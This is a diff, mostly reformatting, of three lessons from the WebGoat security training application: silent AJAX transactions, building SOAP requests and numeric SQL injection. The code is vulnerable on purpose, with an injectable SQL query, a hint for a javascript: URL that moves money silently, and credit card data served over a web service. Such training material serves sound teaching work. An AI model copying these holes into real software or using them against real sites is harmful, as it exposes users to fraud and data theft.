if (s.getParser().getRawParameter("confirm", "").equals( if (s.getParser().getRawParameter("confirm", "").equals("Confirm"))
"Confirm"))
{ {
String amount = s.getParser().getRawParameter("amount", ""); String amount = s.getParser().getRawParameter("amount", "");
s.getResponse().setContentType("text/html"); s.getResponse().setContentType("text/html");
s.getResponse().setHeader("Cache-Control", "no-cache"); s.getResponse().setHeader("Cache-Control", "no-cache");
PrintWriter out = new PrintWriter(s.getResponse() PrintWriter out = new PrintWriter(s.getResponse().getOutputStream());
.getOutputStream());
StringBuffer result = new StringBuffer(); StringBuffer result = new StringBuffer();
result result.append("<br><br>* Congratulations. You have successfully completed this lesson.<br>");
.append("<br><br>* Congratulations. You have successfully completed this lesson.<br>");
if (!amount.equals("")) if (!amount.equals(""))
{ {
result.append("You have just silently authorized "); result.append("You have just silently authorized ");
@ -89,36 +85,30 @@ public class SilentTransactions extends LessonAdapter
} }
result result
.append("Now you can send out a spam email containing this link and whoever clicks on it<br>"); .append("Now you can send out a spam email containing this link and whoever clicks on it<br>");
result result.append(" and happens to be logged in the same time will loose their money !!");
.append(" and happens to be logged in the same time will loose their money !!");
out.print(result.toString()); out.print(result.toString());
out.flush(); out.flush();
out.close(); out.close();
getLessonTracker(s).setCompleted(true); getLessonTracker(s).setCompleted(true);
return; return;
} }
else if (s.getParser().getRawParameter("confirm", "").equals( else if (s.getParser().getRawParameter("confirm", "").equals("Transferring"))
"Transferring"))
{ {
s.getResponse().setContentType("text/html"); s.getResponse().setContentType("text/html");
s.getResponse().setHeader("Cache-Control", "no-cache"); s.getResponse().setHeader("Cache-Control", "no-cache");
PrintWriter out = new PrintWriter(s.getResponse() PrintWriter out = new PrintWriter(s.getResponse().getOutputStream());
.getOutputStream()); out.print("<br><br>The Transaction has Completed Successfully.");
out
.print("<br><br>The Transaction has Completed Successfully.");
out.flush(); out.flush();
out.close(); out.close();
return; return;
} }
} }
} } catch (Exception ex)
catch (Exception ex)
{ {
ex.printStackTrace(); ex.printStackTrace();
} }
Form form = new Form(getFormAction(), Form.POST).setName("form") Form form = new Form(getFormAction(), Form.POST).setName("form").setEncType("");
.setEncType("");
form.addElement(createContent(s)); form.addElement(createContent(s));
@ -126,11 +116,11 @@ public class SilentTransactions extends LessonAdapter
} }
/** /**
* Description of the Method * Description of the Method
* *
* @param s Current WebSession * @param s
* Current WebSession
*/ */
protected Element createContent(WebSession s) protected Element createContent(WebSession s)
@ -189,23 +179,18 @@ public class SilentTransactions extends LessonAdapter
+ lineSep + lineSep
+ "function submitData(accountNo, balance) {" + "function submitData(accountNo, balance) {"
+ lineSep + lineSep
+ "var url = '" + getLink() + "var url = '"
+ getLink()
+ "&from=ajax&newAccount='+ accountNo+ '&amount=' + balance +'&confirm=' + document.getElementById('confirm').value; " + "&from=ajax&newAccount='+ accountNo+ '&amount=' + balance +'&confirm=' + document.getElementById('confirm').value; "
+ lineSep + "if (typeof XMLHttpRequest != 'undefined') {" + lineSep + "if (typeof XMLHttpRequest != 'undefined') {" + lineSep + "req = new XMLHttpRequest();"
+ lineSep + "req = new XMLHttpRequest();" + lineSep + lineSep + "} else if (window.ActiveXObject) {" + lineSep
+ "} else if (window.ActiveXObject) {" + lineSep + "req = new ActiveXObject('Microsoft.XMLHTTP');" + lineSep + " }" + lineSep
+ "req = new ActiveXObject('Microsoft.XMLHTTP');" + lineSep + " req.open('GET', url, true);" + lineSep + " req.onreadystatechange = callback;" + lineSep
+ " }" + lineSep + " req.open('GET', url, true);" + lineSep + " req.send(null);" + lineSep + "}" + lineSep + "function callback() {" + lineSep
+ " req.onreadystatechange = callback;" + lineSep + " if (req.readyState == 4) { " + lineSep + " if (req.status == 200) { " + lineSep
+ " req.send(null);" + lineSep + "}" + lineSep + " var result = req.responseText ;" + lineSep
+ "function callback() {" + lineSep + " var resultsDiv = document.getElementById('resultsDiv');" + lineSep
+ " if (req.readyState == 4) { " + lineSep + " resultsDiv.innerHTML = '';" + lineSep + " resultsDiv.innerHTML = result;" + lineSep
+ " if (req.status == 200) { " + lineSep
+ " var result = req.responseText ;"
+ lineSep
+ " var resultsDiv = document.getElementById('resultsDiv');"
+ lineSep + " resultsDiv.innerHTML = '';" + lineSep
+ " resultsDiv.innerHTML = result;" + lineSep
+ " }}}" + lineSep + "</script>" + lineSep; + " }}}" + lineSep + "</script>" + lineSep;
ec.addElement(new StringElement(script)); ec.addElement(new StringElement(script));
@ -213,13 +198,11 @@ public class SilentTransactions extends LessonAdapter
ec.addElement(new BR()); ec.addElement(new BR());
ec.addElement(new H3("Account Summary:")); ec.addElement(new H3("Account Summary:"));
Table t1 = new Table().setCellSpacing(0).setCellPadding(0).setBorder(1) Table t1 = new Table().setCellSpacing(0).setCellPadding(0).setBorder(1).setWidth("70%").setAlign("left");
.setWidth("70%").setAlign("left");
ec.addElement(new BR()); ec.addElement(new BR());
TR tr = new TR(); TR tr = new TR();
tr.addElement(new TD(new StringElement("Account Balance:"))); tr.addElement(new TD(new StringElement("Account Balance:")));
tr.addElement(new TD(new StringElement("<div id='balanceID'>" tr.addElement(new TD(new StringElement("<div id='balanceID'>" + CURRENT_BALANCE.toString() + "$</div>")));
+ CURRENT_BALANCE.toString() + "$</div>")));
t1.addElement(tr); t1.addElement(tr);
tr = new TR(); tr = new TR();
@ -265,37 +248,29 @@ public class SilentTransactions extends LessonAdapter
return ec; return ec;
} }
protected Category getDefaultCategory() protected Category getDefaultCategory()
{ {
return Category.AJAX_SECURITY; return Category.AJAX_SECURITY;
} }
protected List<String> getHints(WebSession s) protected List<String> getHints(WebSession s)
{ {
List<String> hints = new ArrayList<String>(); List<String> hints = new ArrayList<String>();
hints.add("Check the javascript in the HTML source."); hints.add("Check the javascript in the HTML source.");
hints hints.add("Check how the application calls a specific javascript function to execute the transaction.");
.add("Check how the application calls a specific javascript function to execute the transaction."); hints.add("Check the javascript functions processData and submitData()");
hints hints.add("Function submitData() is the one responsible for actually ececuting the transaction.");
.add("Check the javascript functions processData and submitData()"); hints.add("Check if your browser supports running javascript from the address bar.");
hints
.add("Function submitData() is the one responsible for actually ececuting the transaction.");
hints
.add("Check if your browser supports running javascript from the address bar.");
hints.add("Try to navigate to 'javascript:submitData(1234556,11000);'"); hints.add("Try to navigate to 'javascript:submitData(1234556,11000);'");
return hints; return hints;
} }
protected Integer getDefaultRanking() protected Integer getDefaultRanking()
{ {
return DEFAULT_RANKING; return DEFAULT_RANKING;
} }
/** /**
* Gets the title attribute of the HelloScreen object * Gets the title attribute of the HelloScreen object
* *
@ -306,7 +281,6 @@ public class SilentTransactions extends LessonAdapter
return ("Silent Transactions Attacks"); return ("Silent Transactions Attacks");
} }
public Element getCredits() public Element getCredits()
{ {
return super.getCustomCredits("Created by Sherif Koussa ", MAC_LOGO); return super.getCustomCredits("Created by Sherif Koussa ", MAC_LOGO);

154
main/project/JavaSource/org/owasp/webgoat/lessons/SoapRequest.java
View File

@ -1,9 +1,8 @@
/* /*
* Created on May 26, 2005 * Created on May 26, 2005 TODO To change the template for this generated file go to Window -
* * Preferences - Java - Code Style - Code Templates
* TODO To change the template for this generated file go to
* Window - Preferences - Java - Code Style - Code Templates
*/ */
package org.owasp.webgoat.lessons; package org.owasp.webgoat.lessons;
import java.sql.Connection; import java.sql.Connection;
@ -12,7 +11,6 @@ import java.sql.ResultSet;
import java.sql.SQLException; import java.sql.SQLException;
import java.util.ArrayList; import java.util.ArrayList;
import java.util.List; import java.util.List;
import org.apache.ecs.Element; import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer; import org.apache.ecs.ElementContainer;
import org.apache.ecs.html.A; import org.apache.ecs.html.A;
@ -28,39 +26,38 @@ import org.owasp.webgoat.session.ParameterNotFoundException;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
import org.owasp.webgoat.session.WebgoatContext; import org.owasp.webgoat.session.WebgoatContext;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
* *
* @author asmolen * @author asmolen
* *
* TODO To change the template for this generated type comment go to * TODO To change the template for this generated type comment go to Window - Preferences - Java -
* Window - Preferences - Java - Code Style - Code Templates * Code Style - Code Templates
*/ */
public class SoapRequest extends SequentialLessonAdapter public class SoapRequest extends SequentialLessonAdapter
{ {
@ -85,19 +82,21 @@ public class SoapRequest extends SequentialLessonAdapter
private static WebgoatContext webgoatContext; private static WebgoatContext webgoatContext;
/** /**
* We maintain a static reference to WebgoatContext, since this class * We maintain a static reference to WebgoatContext, since this class is also automatically
* is also automatically instantiated by the Axis web services module, * instantiated by the Axis web services module, which does not call setWebgoatContext()
* which does not call setWebgoatContext()
* (non-Javadoc) * (non-Javadoc)
*
* @see org.owasp.webgoat.lessons.AbstractLesson#setWebgoatContext(org.owasp.webgoat.session.WebgoatContext) * @see org.owasp.webgoat.lessons.AbstractLesson#setWebgoatContext(org.owasp.webgoat.session.WebgoatContext)
*/ */
@Override @Override
public void setWebgoatContext(WebgoatContext webgoatContext) { public void setWebgoatContext(WebgoatContext webgoatContext)
{
SoapRequest.webgoatContext = webgoatContext; SoapRequest.webgoatContext = webgoatContext;
} }
@Override @Override
public WebgoatContext getWebgoatContext() { public WebgoatContext getWebgoatContext()
{
return SoapRequest.webgoatContext; return SoapRequest.webgoatContext;
} }
@ -106,7 +105,6 @@ public class SoapRequest extends SequentialLessonAdapter
return Category.WEB_SERVICES; return Category.WEB_SERVICES;
} }
protected List<String> getHints(WebSession s) protected List<String> getHints(WebSession s)
{ {
List<String> hints = new ArrayList<String>(); List<String> hints = new ArrayList<String>();
@ -143,8 +141,7 @@ public class SoapRequest extends SequentialLessonAdapter
+ "&nbsp;&nbsp;&lt;SOAP-ENV:Body&gt; <br>" + "&nbsp;&nbsp;&lt;SOAP-ENV:Body&gt; <br>"
+ "&nbsp;&nbsp;&nbsp;&nbsp;&lt;ns1:getFirstName SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\" xmlns:ns1=\"http://lessons\"&gt; <br>" + "&nbsp;&nbsp;&nbsp;&nbsp;&lt;ns1:getFirstName SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\" xmlns:ns1=\"http://lessons\"&gt; <br>"
+ "&nbsp;&nbsp;&nbsp;&nbsp;&lt;id xsi:type=\"xsd:int\"&gt;101&lt;/id&gt; <br>" + "&nbsp;&nbsp;&nbsp;&nbsp;&lt;id xsi:type=\"xsd:int\"&gt;101&lt;/id&gt; <br>"
+ "&nbsp;&nbsp;&nbsp;&nbsp;&lt;/ns1:getFirstName&gt; <br>" + "&nbsp;&nbsp;&nbsp;&nbsp;&lt;/ns1:getFirstName&gt; <br>" + "&nbsp;&nbsp;&lt;/SOAP-ENV:Body&gt; <br>"
+ "&nbsp;&nbsp;&lt;/SOAP-ENV:Body&gt; <br>"
+ "&lt;/SOAP-ENV:Envelope&gt; <br><br>" + "&lt;/SOAP-ENV:Envelope&gt; <br><br>"
+ "Intercept the HTTP request and try to create a SOAP request."; + "Intercept the HTTP request and try to create a SOAP request.";
soapEnv.replaceAll("(?s) ", "&nbsp;"); soapEnv.replaceAll("(?s) ", "&nbsp;");
@ -155,19 +152,16 @@ public class SoapRequest extends SequentialLessonAdapter
private final static Integer DEFAULT_RANKING = new Integer(100); private final static Integer DEFAULT_RANKING = new Integer(100);
protected Integer getDefaultRanking() protected Integer getDefaultRanking()
{ {
return DEFAULT_RANKING; return DEFAULT_RANKING;
} }
public String getTitle() public String getTitle()
{ {
return "Create a SOAP Request"; return "Create a SOAP Request";
} }
protected Element makeOperationsLine(WebSession s) protected Element makeOperationsLine(WebSession s)
{ {
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
@ -180,8 +174,7 @@ public class SoapRequest extends SequentialLessonAdapter
} }
TR tr = new TR(); TR tr = new TR();
tr.addElement(new TD() tr.addElement(new TD().addElement("How many operations are defined in the WSDL: "));
.addElement("How many operations are defined in the WSDL: "));
tr.addElement(new TD(new Input(Input.TEXT, "count", ""))); tr.addElement(new TD(new Input(Input.TEXT, "count", "")));
Element b = ECSFactory.makeButton("Submit"); Element b = ECSFactory.makeButton("Submit");
tr.addElement(new TD(b).setAlign("LEFT")); tr.addElement(new TD(b).setAlign("LEFT"));
@ -192,7 +185,6 @@ public class SoapRequest extends SequentialLessonAdapter
return ec; return ec;
} }
protected Element makeTypeLine(WebSession s) protected Element makeTypeLine(WebSession s)
{ {
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
@ -205,8 +197,7 @@ public class SoapRequest extends SequentialLessonAdapter
} }
TR tr = new TR(); TR tr = new TR();
tr tr.addElement(new TD()
.addElement(new TD()
.addElement("Now, what is the type of the (id) parameter in the \"getFirstNameRequest\" method: ")); .addElement("Now, what is the type of the (id) parameter in the \"getFirstNameRequest\" method: "));
tr.addElement(new TD(new Input(Input.TEXT, "type", ""))); tr.addElement(new TD(new Input(Input.TEXT, "type", "")));
Element b = ECSFactory.makeButton("Submit"); Element b = ECSFactory.makeButton("Submit");
@ -218,31 +209,26 @@ public class SoapRequest extends SequentialLessonAdapter
return ec; return ec;
} }
protected Element createContent(WebSession s) protected Element createContent(WebSession s)
{ {
return super.createStagedContent(s); return super.createStagedContent(s);
} }
protected Element doStage1(WebSession s) throws Exception protected Element doStage1(WebSession s) throws Exception
{ {
return viewWsdl(s); return viewWsdl(s);
} }
protected Element doStage2(WebSession s) throws Exception protected Element doStage2(WebSession s) throws Exception
{ {
return determineType(s); return determineType(s);
} }
protected Element doStage3(WebSession s) throws Exception protected Element doStage3(WebSession s) throws Exception
{ {
return createSoapEnvelope(s); return createSoapEnvelope(s);
} }
protected Element viewWsdl(WebSession s) protected Element viewWsdl(WebSession s)
{ {
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
@ -265,25 +251,23 @@ public class SoapRequest extends SequentialLessonAdapter
{ {
s.setMessage("Sorry, that is an incorrect count. Try Again."); s.setMessage("Sorry, that is an incorrect count. Try Again.");
} }
} } catch (NumberFormatException nfe)
catch (NumberFormatException nfe)
{ {
// DEVNOTE: Eat the exception. // DEVNOTE: Eat the exception.
// ec.addElement( new P().addElement( nfe.getMessage() ) ); // ec.addElement( new P().addElement( nfe.getMessage() ) );
s.setMessage("Sorry, that answer is invalid. Try again."); s.setMessage("Sorry, that answer is invalid. Try again.");
} } catch (ParameterNotFoundException pnfe)
catch (ParameterNotFoundException pnfe)
{ {
// DEVNOTE: Eat the exception. // DEVNOTE: Eat the exception.
// ec.addElement( new P().addElement( pnfe.getMessage() ) ); // ec.addElement( new P().addElement( pnfe.getMessage() ) );
} } catch (Exception e)
catch (Exception e)
{ {
s.setMessage("Error generating " + this.getClass().getName()); s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace(); e.printStackTrace();
} }
//DEVNOTE: Conditionally display Stage1 content depending on whether stage is completed or not // DEVNOTE: Conditionally display Stage1 content depending on whether stage is completed or
// not
if (getLessonTracker(s).getStage() == 1) if (getLessonTracker(s).getStage() == 1)
// if ( null == (getLessonTracker(s).getLessonProperties().getProperty(WebSession.STAGE)) || // if ( null == (getLessonTracker(s).getLessonProperties().getProperty(WebSession.STAGE)) ||
// (getLessonTracker(s).getLessonProperties().getProperty(WebSession.STAGE)).equals("1") ) // (getLessonTracker(s).getLessonProperties().getProperty(WebSession.STAGE)).equals("1") )
@ -291,9 +275,7 @@ public class SoapRequest extends SequentialLessonAdapter
ec.addElement(makeOperationsLine(s)); ec.addElement(makeOperationsLine(s));
A a = new A("services/SoapRequest?WSDL", "WebGoat WSDL File"); A a = new A("services/SoapRequest?WSDL", "WebGoat WSDL File");
ec ec.addElement(new P().addElement("View the following WSDL and count available operations:"));
.addElement(new P()
.addElement("View the following WSDL and count available operations:"));
ec.addElement(new BR()); ec.addElement(new BR());
ec.addElement(a); ec.addElement(a);
} }
@ -303,7 +285,6 @@ public class SoapRequest extends SequentialLessonAdapter
return (ec); return (ec);
} }
protected Element determineType(WebSession s) protected Element determineType(WebSession s)
{ {
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
@ -319,7 +300,8 @@ public class SoapRequest extends SequentialLessonAdapter
{ {
getLessonTracker(s).setStage(3); getLessonTracker(s).setStage(3);
s.setMessage("Stage 2 completed. "); s.setMessage("Stage 2 completed. ");
//s.setMessage("Now, you'll craft a SOAP envelope for invoking a web service directly."); // s.setMessage("Now, you'll craft a SOAP envelope for invoking a web service
// directly.");
// Redirect user to Stage2 content. // Redirect user to Stage2 content.
ec.addElement(doStage3(s)); ec.addElement(doStage3(s));
@ -328,19 +310,18 @@ public class SoapRequest extends SequentialLessonAdapter
{ {
s.setMessage("Sorry, that is an incorrect type. Try Again."); s.setMessage("Sorry, that is an incorrect type. Try Again.");
} }
} } catch (ParameterNotFoundException pnfe)
catch (ParameterNotFoundException pnfe)
{ {
// DEVNOTE: Eat the exception. // DEVNOTE: Eat the exception.
// ec.addElement( new P().addElement( pnfe.getMessage() ) ); // ec.addElement( new P().addElement( pnfe.getMessage() ) );
} } catch (Exception e)
catch (Exception e)
{ {
s.setMessage("Error generating " + this.getClass().getName()); s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace(); e.printStackTrace();
} }
//DEVNOTE: Conditionally display Stage2 content depending on whether stage is completed or not // DEVNOTE: Conditionally display Stage2 content depending on whether stage is completed or
// not
if (getLessonTracker(s).getStage() == 2) if (getLessonTracker(s).getStage() == 2)
// if ( null == (getLessonTracker(s).getLessonProperties().getProperty(WebSession.STAGE)) || // if ( null == (getLessonTracker(s).getLessonProperties().getProperty(WebSession.STAGE)) ||
// (getLessonTracker(s).getLessonProperties().getProperty(WebSession.STAGE)).equals("2") ) // (getLessonTracker(s).getLessonProperties().getProperty(WebSession.STAGE)).equals("2") )
@ -348,9 +329,7 @@ public class SoapRequest extends SequentialLessonAdapter
ec.addElement(makeTypeLine(s)); ec.addElement(makeTypeLine(s));
A a = new A("services/SoapRequest?WSDL", "WebGoat WSDL File"); A a = new A("services/SoapRequest?WSDL", "WebGoat WSDL File");
ec ec.addElement(new P().addElement("View the following WSDL and count available operations:"));
.addElement(new P()
.addElement("View the following WSDL and count available operations:"));
ec.addElement(new BR()); ec.addElement(new BR());
ec.addElement(a); ec.addElement(a);
} }
@ -360,7 +339,6 @@ public class SoapRequest extends SequentialLessonAdapter
return (ec); return (ec);
} }
protected Element createSoapEnvelope(WebSession s) protected Element createSoapEnvelope(WebSession s)
{ {
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
@ -381,8 +359,7 @@ public class SoapRequest extends SequentialLessonAdapter
ec ec
.addElement(new P() .addElement(new P()
.addElement("Intercept the request and invoke any method by sending a valid SOAP request for a valid account. <br>")); .addElement("Intercept the request and invoke any method by sending a valid SOAP request for a valid account. <br>"));
Element b = ECSFactory Element b = ECSFactory.makeButton("Press to generate an HTTP request");
.makeButton("Press to generate an HTTP request");
ec.addElement(b); ec.addElement(b);
// conditionally display invoked methods // conditionally display invoked methods
@ -418,32 +395,26 @@ public class SoapRequest extends SequentialLessonAdapter
return (ec); return (ec);
} }
public String getResults(int id, String field) public String getResults(int id, String field)
{ {
try try
{ {
Connection connection = DatabaseUtilities.getConnection("guest", getWebgoatContext()); Connection connection = DatabaseUtilities.getConnection("guest", getWebgoatContext());
PreparedStatement ps = connection PreparedStatement ps = connection.prepareStatement("SELECT * FROM user_data WHERE userid = ?");
.prepareStatement("SELECT * FROM user_data WHERE userid = ?");
ps.setInt(1, id); ps.setInt(1, id);
try try
{ {
ResultSet results = ps.executeQuery(); ResultSet results = ps.executeQuery();
if ((results != null) && (results.next() == true)) if ((results != null) && (results.next() == true)) { return results.getString(field); }
} catch (SQLException sqle)
{ {
return results.getString(field);
} }
} catch (Exception e)
{
} }
catch (SQLException sqle)
{}
}
catch (Exception e)
{}
return null; return null;
} }
public String getCreditCard(int id) public String getCreditCard(int id)
{ {
String result = getResults(id, "cc_number"); String result = getResults(id, "cc_number");
@ -451,50 +422,55 @@ public class SoapRequest extends SequentialLessonAdapter
if (result != null) if (result != null)
{ {
//DEVNOTE: Always set method access counter to (1) no matter how many times it is accessed. // DEVNOTE: Always set method access counter to (1) no matter how many times it is
// This is intended to be used to determine how many methods have been accessed, not how often. // accessed.
// This is intended to be used to determine how many methods have been accessed, not how
// often.
accessCreditCard = 1; accessCreditCard = 1;
return result; return result;
} }
return null; return null;
} }
public String getFirstName(int id) public String getFirstName(int id)
{ {
String result = getResults(id, "first_name"); String result = getResults(id, "first_name");
if (result != null) if (result != null)
{ {
//DEVNOTE: Always set method access counter to (1) no matter how many times it is accessed. // DEVNOTE: Always set method access counter to (1) no matter how many times it is
// This is intended to be used to determine how many methods have been accessed, not how often. // accessed.
// This is intended to be used to determine how many methods have been accessed, not how
// often.
accessFirstName = 1; accessFirstName = 1;
return result; return result;
} }
return null; return null;
} }
public String getLastName(int id) public String getLastName(int id)
{ {
String result = getResults(id, "last_name"); String result = getResults(id, "last_name");
if (result != null) if (result != null)
{ {
//DEVNOTE: Always set method access counter to (1) no matter how many times it is accessed. // DEVNOTE: Always set method access counter to (1) no matter how many times it is
// This is intended to be used to determine how many methods have been accessed, not how often. // accessed.
// This is intended to be used to determine how many methods have been accessed, not how
// often.
accessLastName = 1; accessLastName = 1;
return result; return result;
} }
return null; return null;
} }
public String getLoginCount(int id) public String getLoginCount(int id)
{ {
String result = getResults(id, "login_count"); String result = getResults(id, "login_count");
if (result != null) if (result != null)
{ {
//DEVNOTE: Always set method access counter to (1) no matter how many times it is accessed. // DEVNOTE: Always set method access counter to (1) no matter how many times it is
// This is intended to be used to determine how many methods have been accessed, not how often. // accessed.
// This is intended to be used to determine how many methods have been accessed, not how
// often.
accessLoginCount = 1; accessLoginCount = 1;
return result; return result;
} }

125
main/project/JavaSource/org/owasp/webgoat/lessons/SqlNumericInjection.java
View File

@ -1,3 +1,4 @@
package org.owasp.webgoat.lessons; package org.owasp.webgoat.lessons;
import java.sql.Connection; import java.sql.Connection;
@ -11,7 +12,6 @@ import java.util.Iterator;
import java.util.List; import java.util.List;
import java.util.Map; import java.util.Map;
import java.util.TreeMap; import java.util.TreeMap;
import org.apache.ecs.Element; import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer; import org.apache.ecs.ElementContainer;
import org.apache.ecs.html.BR; import org.apache.ecs.html.BR;
@ -23,32 +23,31 @@ import org.owasp.webgoat.session.DatabaseUtilities;
import org.owasp.webgoat.session.ECSFactory; import org.owasp.webgoat.session.ECSFactory;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
* *
@ -61,11 +60,11 @@ public class SqlNumericInjection extends SequentialLessonAdapter
private String station; private String station;
/** /**
* Description of the Method * Description of the Method
* *
* @param s Description of the Parameter * @param s
* Description of the Parameter
* @return Description of the Return Value * @return Description of the Return Value
*/ */
@ -74,19 +73,16 @@ public class SqlNumericInjection extends SequentialLessonAdapter
return super.createStagedContent(s); return super.createStagedContent(s);
} }
protected Element doStage1(WebSession s) throws Exception protected Element doStage1(WebSession s) throws Exception
{ {
return injectableQuery(s); return injectableQuery(s);
} }
protected Element doStage2(WebSession s) throws Exception protected Element doStage2(WebSession s) throws Exception
{ {
return parameterizedQuery(s); return parameterizedQuery(s);
} }
protected Element injectableQuery(WebSession s) protected Element injectableQuery(WebSession s)
{ {
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
@ -111,23 +107,20 @@ public class SqlNumericInjection extends SequentialLessonAdapter
ec.addElement(new PRE(query)); ec.addElement(new PRE(query));
if (station == null) if (station == null) return ec;
return ec;
Connection connection = DatabaseUtilities.getConnection(s); Connection connection = DatabaseUtilities.getConnection(s);
try try
{ {
Statement statement = connection.createStatement( Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY); ResultSet.CONCUR_READ_ONLY);
ResultSet results = statement.executeQuery(query); ResultSet results = statement.executeQuery(query);
if ((results != null) && (results.first() == true)) if ((results != null) && (results.first() == true))
{ {
ResultSetMetaData resultsMetaData = results.getMetaData(); ResultSetMetaData resultsMetaData = results.getMetaData();
ec.addElement(DatabaseUtilities.writeTable(results, ec.addElement(DatabaseUtilities.writeTable(results, resultsMetaData));
resultsMetaData));
results.last(); results.last();
// If they get back more than one row they succeeded // If they get back more than one row they succeeded
@ -135,8 +128,7 @@ public class SqlNumericInjection extends SequentialLessonAdapter
{ {
makeSuccess(s); makeSuccess(s);
getLessonTracker(s).setStage(2); getLessonTracker(s).setStage(2);
s s.setMessage("Start this lesson over to attack a parameterized query.");
.setMessage("Start this lesson over to attack a parameterized query.");
} }
} }
else else
@ -144,13 +136,11 @@ public class SqlNumericInjection extends SequentialLessonAdapter
ec.addElement("No results matched. Try Again."); ec.addElement("No results matched. Try Again.");
} }
} } catch (SQLException sqle)
catch (SQLException sqle)
{ {
ec.addElement(new P().addElement(sqle.getMessage())); ec.addElement(new P().addElement(sqle.getMessage()));
} }
} } catch (Exception e)
catch (Exception e)
{ {
s.setMessage("Error generating " + this.getClass().getName()); s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace(); e.printStackTrace();
@ -159,13 +149,11 @@ public class SqlNumericInjection extends SequentialLessonAdapter
return (ec); return (ec);
} }
protected Element parameterizedQuery(WebSession s) protected Element parameterizedQuery(WebSession s)
{ {
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
ec ec.addElement("Now that you have successfully performed an SQL injection, try the same "
.addElement("Now that you have successfully performed an SQL injection, try the same "
+ " type of attack on a parameterized query."); + " type of attack on a parameterized query.");
// if ( s.getParser().getRawParameter( ACCT_NUM, "101" ).equals("restart")) // if ( s.getParser().getRawParameter( ACCT_NUM, "101" ).equals("restart"))
// { // {
@ -187,13 +175,11 @@ public class SqlNumericInjection extends SequentialLessonAdapter
ec.addElement(new PRE(query)); ec.addElement(new PRE(query));
if (station == null) if (station == null) return ec;
return ec;
try try
{ {
PreparedStatement statement = connection.prepareStatement( PreparedStatement statement = connection.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE,
query, ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY); ResultSet.CONCUR_READ_ONLY);
statement.setInt(1, Integer.parseInt(station)); statement.setInt(1, Integer.parseInt(station));
ResultSet results = statement.executeQuery(); ResultSet results = statement.executeQuery();
@ -201,8 +187,7 @@ public class SqlNumericInjection extends SequentialLessonAdapter
if ((results != null) && (results.first() == true)) if ((results != null) && (results.first() == true))
{ {
ResultSetMetaData resultsMetaData = results.getMetaData(); ResultSetMetaData resultsMetaData = results.getMetaData();
